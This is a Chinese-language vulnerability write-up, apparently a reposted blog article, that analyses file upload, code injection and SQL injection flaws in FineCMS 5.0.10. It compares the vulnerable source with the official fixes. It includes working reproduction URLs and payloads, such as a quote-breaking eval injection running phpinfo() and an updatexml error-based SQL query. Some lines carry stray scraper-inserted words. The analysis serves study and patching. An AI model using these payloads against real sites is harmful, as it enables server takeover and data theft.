FineCMS 5.0.10 多個 漏洞詳細分析過程

0x01 前言
今天的這個CMS是FineCMS,版本是5.0.10版本的幾個漏洞分析,從修補漏洞前和修補後的兩方面去分析。
文中的evai是特地寫的,由於會觸發論壇的防禦機制,還有分頁那一段的代碼也去掉了,由於會觸發論壇分頁的bug。
0x02 環境搭建
https://www.ichunqiu.com/vm/5... 能夠去i春秋的實驗,不用本身搭建那麼麻煩了。
0x03 任意文件上傳漏洞
1.漏洞復現
用十六進制編輯器寫一個有一句話的圖片
去網站註冊一個帳號,而後到上傳頭像的地方。
抓包,把jepg的改爲php發包。
1.pngphp

能夠看到文件已經上傳到到/uploadfile/member/用戶ID/0x0.phpcss

2.png

2.漏洞分析
文件:finecms/dayrui/controllers/member/Account.php 177~244行html

/**
 *  上傳頭像處理
 *  傳入頭像壓縮包,解壓到指定文件夾後刪除非圖片文件
 */
public function upload() {

    // 建立圖片存儲文件夾
    $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
    @dr_dir_delete($dir);
    !is_dir($dir) && dr_mkdirs($dir);

    if ($_POST['tx']) {
        $file = str_replace(' ', '+', $_POST['tx']);
        if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
            $new_file = $dir.'0x0.'.$result[2];
            if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                exit(dr_json(0, '目錄權限不足或磁盤已滿'));
            } else {
                $this->load->library('image_lib');
                $config['create_thumb'] = TRUE;
                $config['thumb_marker'] = '';
                $config['maintain_ratio'] = FALSE;
                $config['source_image'] = $new_file;
                foreach (array(30, 45, 90, 180) as $a) {
                    $config['width'] = $config['height'] = $a;
                    $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                    $this->image_lib->initialize($config);
                    if (!$this->image_lib->resize()) {
                        exit(dr_json(0, '上傳錯誤:'.$this->image_lib->display_errors()));
                        break;
                    }
                }
                list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                !$type && exit(dr_json(0, '圖片字符串不規範'));
            }
        } else {

            exit(dr_json(0, '圖片字符串不規範'));
        }
    } else {
        exit(dr_json(0, '圖片不存在'));
    }

// 上傳圖片到服務器
    if (defined('UCSSO_API')) {
        $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
        !$rt['code'] && $this->_json(0, fc_lang('通訊失敗:%s', $rt['msg']));
    }

    exit('1');
}

這個我記得在5.0.8的版本有講過這個代碼的漏洞執行https://getpass.cn/2018/01/30...c++

後來官方修復的方案是加上了白名單了:sql

if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
                    exit(dr_json(0, '目錄權限不足'));
                }
                ...
                 $c = 0;
                    if ($fp = @opendir($dir)) {
                        while (FALSE !== ($file = readdir($fp))) {
                            $ext = substr(strrchr($file, '.'), 1);
                            if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
                                if (copy($dir.$file, $my.$file)) {
                                    $c++;
                                }
                            }
                        }
                        closedir($fp);
                    }
                    if (!$c) {
                        exit(dr_json(0,  fc_lang('未找到目錄中的圖片')));
                    }

**0x04 任意代碼執行漏洞
1.漏洞復現**
auth下面的分析的時候會說到怎麼獲取shell

瀏覽器輸入:
http://getpass1.cn/index.php?...¶m=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271
3.png數據庫

2.漏洞分析json

public function data2() {
        $data = array();

        // 安全碼認證
        $auth = $this->input->get('auth', true);
        if ($auth != md5(SYS_KEY)) {
            // 受權認證碼不正確
            $data = array('msg' => '受權認證碼不正確', 'code' => 0);
        } else {
            // 解析數據
            $cache = '';
            $param = $this->input->get('param');
            if (isset($param['cache']) && $param['cache']) {
                $cache = md5(dr_array2string($param));
                $data = $this->get_cache_data($cache);
            }
            if (!$data) {

                // list數據查詢
                $data = $this->template->list_tag($param);
                $data['code'] = $data['error'] ? 0 : 1;
                unset($data['sql'], $data['pages']);

                // 緩存數據
                $cache && $this->set_cache_data($cache, $data, $param['cache']);
            }
        }

        // 接收參數
        $format = $this->input->get('format');
        $function = $this->input->get('function');
        if ($function) {
            if (!function_exists($function)) {
                $data = array('msg' => fc_lang('自定義函數'.$function.'不存在'), 'code' => 0);
            } else {
                $data = $function($data);
            }
        }

        // 頁面輸出
        if ($format == 'php') {
            print_r($data);
        } elseif ($format == 'jsonp') {
            // 自定義返回名稱
            echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
        } else {
            // 自定義返回名稱
            echo $this->callback_json($data);
        }
        exit;

        }

能夠看到開頭這裏驗證了認證碼:api

// 安全碼認證
    $auth = $this->input->get('auth', true);
    if ($auth != md5(SYS_KEY)) {
        // 受權認證碼不正確
        $data = array('msg' => '受權認證碼不正確', 'code' => 0);
    } else {

受權碼在/config/system.php數組

4.png

能夠看到SYS_KEY是固定的,咱們能夠在Cookies找到,/finecms/dayrui/config/config.php

5.png

用瀏覽器查看Cookies能夠看到KEY,可是驗證用MD5,咱們先把KEY加密就好了。

6.png

直接看到這一段,調用了Template對象裏面的list_tag函數

if (!$data) {

                // list數據查詢
                $data = $this->template->list_tag($param);
                $data['code'] = $data['error'] ? 0 : 1;
                unset($data['sql'], $data['pages']);

                // 緩存數據
                $cache && $this->set_cache_data($cache, $data, $param['cache']);
            }

咱們到finecms/dayrui/libraries/Template.php看list_tag函數的代碼,代碼有點長,我抓重點的地方,這裏把param=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271的內容分爲兩個數組$var、$val,這兩個數組的內容分別爲

$var=['action','name']
$val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']

$cache=_cache_var是返回會員的信息
重點的是下面的 @evai('$data=$cache'.$this->_get_var($_param).';');

foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);

再看這一段,由於swtich選中的是cache,全部就再也不進行下面的分析了。
$pos = strpos($param['name'], '.');這句是爲下面的substr函數作準備。
是爲了分離出的內容爲

$_name='MEMBER'
$_param="1%27];phpinfo();$a=[%271"
// action
        switch ($system['action']) {

            case 'cache': // 系統緩存數據
                if (!isset($param['name'])) {
                    return $this->_return($system['return'], 'name參數不存在');
                }

                $pos = strpos($param['name'], '.');
                if ($pos !== FALSE) {
                    $_name = substr($param['name'], 0, $pos);
                    $_param = substr($param['name'], $pos + 1);
                } else {
                    $_name = $param['name'];
                    $_param = NULL;
                }
                $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
                if (!$cache) {
                    return $this->_return($system['return'], "緩存({$_name})不存在,請在後臺更新緩存");
                }
                if ($_param) {
                    $data = array();
                    @evai('$data=$cache'.$this->_get_var($_param).';');
                    if (!$data) {
                        return $this->_return($system['return'], "緩存({$_name})參數不存在!!");
                    }
                } else {
                    $data = $cache;
                }

                return $this->_return($system['return'], $data, '');
                break;

跟蹤get_var函數,在這裏咱們先把$param的內容假設爲a,而後執行函數裏面的內容,最後返回的$string的內容是:
$string=['a']
那麼咱們的思路就是把兩邊的[' ']閉合而後再放上惡意的代碼。
payload爲:1'];phpinfo();$a=['1
那麼返回的$string的內容:
$string=['1'];phpinfo();$a=['1']

public function _get_var($param) {
        $array = explode('.', $param);
        if (!$array) {
            return '';
        }
        $string = '';
        foreach ($array as $var) {
            $string.= '[';
            if (strpos($var, '$') === 0) {
                $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
            } elseif (preg_match('/[A-Z_]+/', $var)) {
                $string.= ''.$var.'';
            } else {
                $string.= '\''.$var.'\'';
            }
            $string.= ']';
        }

        return $string;
    }

修復後的_get_var函數裏面多了一個dr_safe_replace過濾函數,而後data2()刪除了。

public function _get_var($param) {

        $array = explode('.', $param);
        if (!$array) {
            return '';
        }
        $string = '';
        foreach ($array as $var) {
            $var = dr_safe_replace($var);
            $string.= '[';
            if (strpos($var, '$') === 0) {
                $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
            } elseif (preg_match('/[A-Z_]+/', $var)) {
                $string.= ''.$var.'';
            } else {
                $string.= '\''.$var.'\'';
            }
            $string.= ']';
        }

        return $string;
    }

dr_safe_replace()

function dr_safe_replace($string) {
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '"', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace('"', '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '<', $string);
    $string = str_replace('>', '>', $string);
    $string = str_replace("{", '', $string);
    $string = str_replace('}', '', $string);
    return $string;
}

0x05 任意SQL語句執行1
1.漏洞復現

瀏覽器:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20version();%27

7.png

2.漏洞分析

這裏就不用debug模式去跟進了,有不懂CI框架的數據庫操做能夠去看官方文檔http://codeigniter.org.cn/use...

問題同樣出在finecms/dayrui/controllers/Api.php中的data2(),能夠直接去看finecms/dayrui/libraries/Template.php裏面的list_tag()函數

fenye

這裏想說一下就是preg_match這個函數的做用,他匹配事後sql是一個數組:

array(2) {
  [0]=>
  string(23) "sql='select version();'"
  [1]=>
  string(17) "select version();"
}

8.png

這裏判斷了開頭的位置是否只使用了select

if (stripos($sql, 'SELECT') !== 0) {
                        return $this->_return($system['return'], 'SQL語句只能是SELECT查詢語句');

再往下看,這一句纔是執行SQL的地方,傳入sql內容和$system['site']默認是1,$system['cache'] 默認緩存時間是3600

$data = $this->_query($sql, $system['site'], $system['cache']);

繼續跟進_query()函數

public function _query($sql, $site, $cache, $all = TRUE) {
        echo $this->ci->site[$site];
        // 數據庫對象
        $db = $site ? $this->ci->site[$site] : $this->ci->db;
        $cname = md5($sql.dr_now_url());
        // 緩存存在時讀取緩存文件
        if ($cache && $data = $this->ci->get_cache_data($cname)) {
            return $data;
        }

        // 執行SQL
        $db->db_debug = FALSE;
        $query = $db->query($sql);

        if (!$query) {
            return 'SQL查詢解析不正確:'.$sql;
        }

        // 查詢結果
        $data = $all ? $query->result_array() : $query->row_array();

        // 開啓緩存時,從新存儲緩存數據
        $cache && $this->ci->set_cache_data($cname, $data, $cache);

        $db->db_debug = TRUE;

        return $data;
    }

沒有對函數進行任何過濾$query = $db->query($sql);,直接帶入了咱們的語句。

官方的修復方法:刪除了data2()函數

0x06 任意SQL語句執行2
1.漏洞復現

瀏覽器:

http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user()),0x7e),1)))a

9.png

2. 漏洞分析

文件在finecms/dayrui/controllers/member/Api.php的checktitle()函數

public function checktitle() {

        $id = (int)$this->input->get('id');
        $title = $this->input->get('title', TRUE);
        $module = $this->input->get('module');

        (!$title || !$module) && exit('');

        $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
        echo $num;
        $num ? exit(fc_lang('<font color=red>'.fc_lang('重複').'</font>')) : exit('');
    }

其餘的沒什麼過濾,主要是CI框架裏面的一些內置方法,好比count_all_results,能夠到http://codeigniter.org.cn/use...::count_all_results 查看用法

還有一個就是SITE_ID變量,它是指

10.png

站點是系統的核心部分,各個站點數據獨立,能夠設置站點分庫管理

11.png

剩下也沒什麼可分析了,不懂updatexml語句能夠看下面的參考連接

0x07 結束

還有一個遠程命令執行漏洞沒能復現,是在api的html()函數,說是能夠用&來突破,可是evai只能用;來結束語句的結束。

function dr_safe_replace($string) {
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '"', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace('"', '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '<', $string);
    $string = str_replace('>', '>', $string);
    $string = str_replace("{", '', $string);
    $string = str_replace('}', '', $string);
    return $string;
}

0x08 參考

https://www.t00ls.net/thread-41630-1-1.html

https://www.t00ls.net/viewthread.php?tid=44262

http://lu4n.com/finecms-rce-0day/

https://blog.csdn.net/vspiders/article/details/77430024

http://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html
相關文章
相關標籤/搜索